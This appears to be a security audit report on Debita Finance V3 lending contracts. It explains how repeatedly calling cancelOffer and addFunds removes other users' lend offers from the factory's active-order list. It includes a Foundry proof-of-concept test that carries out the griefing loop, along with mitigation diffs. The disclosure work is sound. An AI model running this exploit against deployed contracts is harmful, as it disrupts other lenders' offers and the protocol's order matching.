Attractive Teal Raven

Medium

# Anyone can call `DLOFactory::deleteOrder` multiple times to delete others lend offer from contracts state

### Summary

`DLOImplementation::cancelOffer` is missing check if the offer is active or not, so malicious user can call `cancelOffer` then `addFunds` multiple times to delete others offer loan via `DLOFactory::deleteOrder`

### Root Cause

Cancelling lend offer by calling `DLOImplementation::cancelOffer` can be called multiple times because there are no check if the offer still active, as long as there are `availableAmount` to send to `msg.sender`:

[DebitaLendOffer-Implementation.sol#L144-L159](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144-L159)

```js
    function cancelOffer() public onlyOwner nonReentrant {
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
        isActive = false;

        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }
```

this function ultimately would call `DLOFactory::deleteOrder` and if this called multiple times would overwrite the last index that would be placed on index 0 on the `allActiveLendOrders` and change other mapping like `LendOrderIndex` and `allActiveLendOrders`

### Internal pre-conditions

1. user create 3 lend offer


### External pre-conditions

_No response_

### Attack Path

1. malicious user create 2 lend offer
2. malicious user their cancel their latest lend offer via `DLOImplementation::cancelOffer`
3. malicious user call `DLOImplementation::addFunds`
4. repeat until other user lend offer written off the state of the contract

### Impact

calling `DebitaV3Aggregator::matchOffersV3` would be difficult because there are no way to query the address of the active offer via `DLOFactory` struct or via `DLOFactory::getActiveOrders`.
the only way for normal user or even bot to call `matchOffersV3` if said griefing is done is to manually check the emitted address of past transaction which is time consuming.

### PoC

add these code to `Debita-V3-Contracts/test/local/Loan/TwoLendersERC20Loan.t.sol`:

```js
    function test_PoC_griefingByDeletingOthersLendOffer() public {
        address user = makeAddr("user");
        address maliciousUser = makeAddr("maliciousUser");
        deal(AERO, user, 1000e18, false);
        deal(AERO, maliciousUser, 1000e18, false);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint256[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint256[] memory ratio = allDynamicData.getDynamicUintArray(1);

        // address[] memory acceptedPrinciples = allDynamicData.getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData.getDynamicAddressArray(1);

        // user create 3 lend orders
        vm.startPrank(user);
        AEROContract.approve(address(DLOFactoryContract), 100e18);
        ratio[0] = 5e17;

        // because setUp, user created offer start from index 2
        address lendOrderAddress2 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            6480 * 2, // max duration
            6480, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        address lendOrderAddress3 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            6480 * 2, // max duration
            6480, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        address lendOrderAddress4 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            6480 * 2, // max duration
            6480, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );

        // malicious user create lend order
        vm.startPrank(maliciousUser);
        AEROContract.approve(address(DLOFactoryContract), 100e18);
        address lendOrderAddress5 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            6480 * 2, // max duration
            6480, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        AEROContract.approve(address(DLOFactoryContract), 100e18);
        address lendOrderAddress6 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            6480 * 2, // max duration
            6480, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        // assert
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress2) == 2);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress3) == 3);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress4) == 4);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress5) == 5);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress6) == 6);

        assert(DLOFactoryContract.allActiveLendOrders(2) == lendOrderAddress2);
        assert(DLOFactoryContract.allActiveLendOrders(3) == lendOrderAddress3);
        assert(DLOFactoryContract.allActiveLendOrders(4) == lendOrderAddress4);
        assert(DLOFactoryContract.allActiveLendOrders(5) == lendOrderAddress5);
        assert(DLOFactoryContract.allActiveLendOrders(6) == lendOrderAddress6);

        // malicious user repeatedly cancel lend order index 6 and call add funds on it
        uint256 activeLendOrderCountBefore = DLOFactoryContract.activeOrdersCount();
        AEROContract.approve(lendOrderAddress6, 100e18);
        for (uint256 i; i < 5; ++i) {
            DLOImplementation(lendOrderAddress6).cancelOffer();
            DLOImplementation(lendOrderAddress6).addFunds(1e18);
        }
        uint256 activeLendOrderCountAfter = DLOFactoryContract.activeOrdersCount();

        // check activeOrdersCount
        assert(activeLendOrderCountBefore > activeLendOrderCountAfter);
        // activeLendOrderBefore is 7 (2 from setUp, 3 from user and 2 from malicious user)
        console.log("activeLendOrderCountBefore: ", activeLendOrderCountBefore);
        console.log("activeLendOrderCountAfter: ", activeLendOrderCountAfter);
        // malicious user index is 5 and 6
        // lend offer of index 5 would be swapped to index 6, and other would be set to 0
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress2) == 0);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress3) == 0);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress4) == 0);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress5) == 6);
        assert(DLOFactoryContract.LendOrderIndex(lendOrderAddress6) == 0);

        assert(DLOFactoryContract.allActiveLendOrders(2) == address(0));
        assert(DLOFactoryContract.allActiveLendOrders(3) == address(0));
        assert(DLOFactoryContract.allActiveLendOrders(4) == address(0));
        assert(DLOFactoryContract.allActiveLendOrders(5) == address(0));
        assert(DLOFactoryContract.allActiveLendOrders(6) == lendOrderAddress5);
    }
```

then run `forge test --mt test_PoC_griefingByDeletingOthersLendOffer` and the test would pass.

### Mitigation

1. add check for `addFunds` to check if the lend offer still active if called directly by owner.
2. also add check to only cancel the offer if its active.

```diff
    function addFunds(uint amount) public nonReentrant {
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
+       if (msg.sender == lendInformation.owner) {
+           require(isActive,  "Offer is not active");
+       }
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount;
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }
```

```diff
    function cancelOffer() public onlyOwner nonReentrant {
+       require(isActive, "Offer is not active");
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
        isActive = false;


        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }
```
